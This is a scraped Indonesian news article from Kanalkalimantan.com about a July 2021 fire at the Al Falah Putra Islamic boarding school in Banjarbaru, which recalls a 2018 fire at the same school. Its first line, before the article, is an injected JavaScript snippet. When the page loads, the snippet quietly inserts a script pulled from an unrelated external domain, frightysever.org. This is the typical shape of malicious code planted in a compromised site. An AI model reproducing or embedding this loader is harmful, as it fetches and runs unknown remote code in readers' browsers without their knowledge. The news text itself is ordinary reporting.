(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kebakaran besar yang terjadi di Pondok Pesantren Al Falah Putra Banjarbaru, di Jalan A Yani KM 23,5 Landasan Ulin, Kamis (15/7/2021) pukul 05.15 Wita, bukan pertama kali terjadi. Tiga tahun sebelumnya, tepatnya Selasa (6/3/2018) silam, kebakaran juga terjadi menghanguskan sejumlah ruang kelas di ponpes yang memiliki ribuan santri tersebut.
Tahun 2018 lalu, diduga akibat hubungan arus pendek listrik, api melahap 4 ruang kelas di Pondok Pesantren (Ponpes) Al Falah Putra. Akibatnya ruang kelas tidak lagi bisa digunakan untuk proses belajar mengajar.
Menurut keterangan satpam Ponpes Al Falah Putra, sekitar pukul 07.15 Wita seorang saksi mata berprofesi karyawan yang bekerja di samping Ponpes Al Falah Putra melihat ada asap mengepul keluar dari bangunan salah satu kelas yang berada di lantai 2. Dengan cepat saksi kejadian langsung melapor kepada pihak Ponpes Al Falah Putra.
Untungnya saat itu tidak ada santri pesantren di dalam kelas karena sedang melakukan sholat. Kepanikan sempat terjadi, sebelum tim pemadam kebakaran tiba, ratusan santri Al Falah langsung memadamkan asap yang keluar dari bawah lantai kelas 2 tersebut dengan melakukan penyiraman air secara manual.
Baru sekitar pukul 08.00 Wita tim pemadam kebakaran BPK tiba di TKP. Membutuhkan waktu selama satu jam untuk memadamkan dan memutuskan aliran listrik karena harus menjebol bagian atap dan lantai kelas.
Sekitar pukul 09.00 Wita api berhasil dipadamkan. Api tidak sempat meluas, walau bangunan pesantren ini terbuat dari bahan kayu.
Akibat dari kejadian ini, ada 4 ruang kelas yang tidak dapat digunakan karena atap dan lantainya bolong, beberapa fasilitas pesantren berupa kursi dan meja berserakan.
Hari ini, kebakaran berulang. Dari pantauan di lapangan, ada empat bangunan utama terbakar. Masing-masing ada dua bangunan bertingkat dengan luas 50 x 60 meter yang terbagi lagi menjadi 20 ruangan dan di ruangan atas kelas serta bangunan bagian bawah terdiri dari asrama, ruang wastafel, serta toko kitab.
Satu unit bangunan juga asrama yang terbagi menjadi 2 ruangan dengan luas sekitar 6 x 18 meter. Bangunan asrama lainnya seluas 6 x 9 meter.
“Polsek menerima laporan kebakaran sekitar 05.45 Wita. Setelah didatangi yang terbakar itu ada 9 ruang asrama, satu ruang wastafel, dan satu toko tempat penjualan kitab,” ujar Kompol Andri Hutagalung, Kapolsek Banjarbaru Barat, Kamis (15/7/2021). (Kanalkalimantan.com/dewi/nurul)
Reporter: dewi/nurul
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin resmi menutup pendaftaran badan ad hoc… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memperingati Hari Buruh Sedunia atau May Day, puluhan mahasiswa dari Himpunan Mahasiswa… Read More
This website uses cookies.